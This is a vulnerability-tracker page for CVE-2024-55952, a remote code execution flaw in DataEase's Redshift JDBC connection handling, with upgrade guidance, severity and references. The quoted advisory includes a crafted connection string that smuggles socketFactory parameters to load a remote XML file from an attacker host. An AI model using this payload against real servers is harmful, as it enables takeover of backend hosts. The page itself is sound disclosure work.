Track vulnerabilities like this one. Sign up free to get alerted when software you use is affected.

CVE-2024-55952: DataEase allows attackers to run code via database connection

CVE-2024-55952 · published 1 year ago

Summary

In DataEase, an authenticated user can craft a special database connection string that causes the system to execute arbitrary code on the server. This can let an attacker take control of the backend host. Upgrade to version 1.18.27 or later to fix the issue; there is no other workaround.

What to do

Update dataease dataease to version 1.18.27 or later.

Affected software

Vendor	Product	Affected versions
dataease	dataease	< 1.18.27 `cpe:2.3:a:dataease:dataease::::::::`

Original advisory text

Dataease Redshift Data Source JDBC Connection Parameters Not Verified Leads to RCE Vulnerability

DataEase is an open source business analytics tool. Authenticated users can remotely execute code through the backend JDBC connection. When constructing the jdbc connection string, the parameters are not filtered. Constructing the host as ip:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://ip:5432/1.xml&a= can trigger the ClassPathXmlApplicationContext construction method. The vulnerability has been fixed in v1.18.27. Users are advised to upgrade. There are no known workarounds for this vulnerability.

References

https://github.com/dataease/dataease/security/advisories/GHSA-w8qm-xw38-93qw Vendor Advisory
https://github.com/dataease/dataease/commit/0db4872a52eccf6e83dd9359aa05db52dd58... Patch
https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/55xxx/CVE-2024-55952... Vendor Advisory
https://nvd.nist.gov/vuln/detail/CVE-2024-55952 Vendor Advisory

Fix within

Internet-facing 14 days

Internal At next upgrade

Not known to be exploited
Needs hands-on effort to exploit
Gives an attacker full control

Severity

8.6 High

Exploitation

<1% chance of attack within 30 days

Type

CWE-20Improper Input Validation

Timeline

Published18 Dec 2024

Updated3 Nov 2026

First seen7 Mar 2026

Sources

CVE-2024-55952 · NVD

CVE-2024-55952 · OSV

GHSA-w8qm-xw38-93qw · GHSA

Track software like this

Free during beta